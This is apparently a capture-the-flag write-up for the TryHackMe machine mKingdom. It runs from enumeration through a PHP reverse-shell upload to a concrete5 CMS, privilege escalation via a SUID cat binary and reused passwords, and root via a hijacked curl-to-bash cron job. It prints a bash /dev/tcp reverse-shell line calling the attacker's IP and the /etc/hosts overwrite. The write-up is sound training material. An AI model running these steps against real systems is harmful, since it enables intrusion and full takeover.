Wanna watch a video?

Another day, another machine. This time we’ll try to solve mKingdom This is a really new machine for me, as it was published a day or two ago, so off we go.

Enumeration

Start with port scan

$ rustscan -a $IP -- -sC -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \\ |  `| |
| .-. \\| {_} |.-._} } | |  .-._} }\\     }/  /\\  \\| |\\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: <http://discord.skerritt.blog>           :
: <https://github.com/RustScan/RustScan> :
 --------------------------------------
😵 <https://admin.tryhackme.com>

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.52.202:85
[~] Starting Script(s)
[...]
PORT   STATE SERVICE REASON  VERSION
85/tcp open  http    syn-ack Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN

Only one port open? All right, we’re going to figure something out.

Web Enumeration

The index page itself had no interesting information, so I brute-forced directories with gobuster

$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u "<http://$IP:85/>" -x html,js,txt,php -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     <http://10.10.52.202:85/>
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,js,txt,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
[...]
/app                  (Status: 301) [Size: 312] [--> <http://10.10.52.202:85/app/>]
/index.html           (Status: 200) [Size: 647]
/index.html           (Status: 200) [Size: 647]
/server-status        (Status: 403) [Size: 292]
Progress: 23080 / 23085 (99.98%)
===============================================================
Finished
===============================================================

There’s /app directory - let’s visit it

/app has just a button, but when we click it, we get redirected to a blog running concrete5 CMS

Wappalyzer gave us the version - 8.5.2

Web Exploiting

I was looking for some exploits online and I’ve found this report But it requires a user, which we don’t have yet

Yet bit of brute-forcing gave me creds admin:password

Now it’s time to follow that report - Go to navbar -> System & Settings -> Files -> Allowed File Types Then edit that input and add php

Now go to Files in the same nav and upload PHP reverse shell - like the one from pentestMonkey

After upload we see the link - set up a netcat listener

$ nc -lvnp 1337

Now visit that link and we’ve got the shell

Privilege escalation pt.1 - User toad

Stabilize your shell with Python.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Now I see that cat has SUID permissions as toad

$ find / -type f -perm -04000 -ls 2>/dev/null
[...]
-rwsr-xr-x 1 toad root 47K Mar 10  2016 /bin/cat
[...]

Quick trip to GTFOBins assured me that I can read files in toad home dir - like .bashrc

It gave me something

$ /bin/cat /home/toad/.bashrc

[...]
export PWD_token='[TOKEN]'

After decoding I got something Let’s save it. It might be useful one day

LinPeas gave me as well

╔══════════╣ Searching passwords in config PHP files
            'password' => '[REDACTED]',
const USER_CHANGE_PASSWORD_URL_LIFETIME = 7200;
const USER_PASSWORD_RESET = 24;
const UVTYPE_CHANGE_PASSWORD = 1;
            'password_credentials' => t('Password Credentials'),

And it’s the password for toad

$ su toad
Password: [REDACTED]

Privilege Escalation pt.2 - User mario

Turns out PWD_TOKEN which we’ve found in /home/toad/.bashrc is mario’s password

Time for root!

Privilege Escalation pt.3 - Root

Running pspy gave me something - every interval some process sends an http request to the domain

2024/06/15 17:24:01 CMD: UID=0     PID=12304  | curl mkingdom.thm:85/app/castle/application/counter.sh
2024/06/15 17:24:01 CMD: UID=0     PID=12303  | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log

We can “hijack” the domain and put in this counter.sh another reverse shell as /etc/hosts allows us to write something in it

$ ls -la /etc/hosts
ls -la /etc/hosts
-rw-rw-r-- 1 root mario 342 Jan 26 19:53 /etc/hosts

Let’s create a payload first We need following directory structure

/app
  /castle
    /application

And inside application a file called counter.sh with reverse shell

bash -i 1>& /dev/tcp/[YOUR IP]/1338 0>&1

Now, go back 3 directories and start python web server on port 85

$ cd ../../../
$ python3 -m http.server 85

After all, in another terminal set up a netcat listener

$ nc -lvnp 1338

Coming back to attacked machine - replace the contents of /etc/hosts with an entry for mkingdom.thm pointing to your IP

$ echo "[YOUR IP]      mkingdom.thm" > /etc/hosts

After a while, root shell should appear in our netcat listener

# whoami
root

And that’s it - machine pwned!

Little annotation to flags

Because cat has toad user as its owner and has SUID bit set, we can’t read any flag using it Luckily vi works - use it to read the flags. You can exit it by typing :q

Conclusion

It was tough, I’ll be realistic

There was a lot of dead ends and I’ve struggled to solve it for a while I’d rate it more as medium rather than easy, even though mostly it was pretty straight forward

Remember, enumeration is key and don’t forget about pspy

See you next time!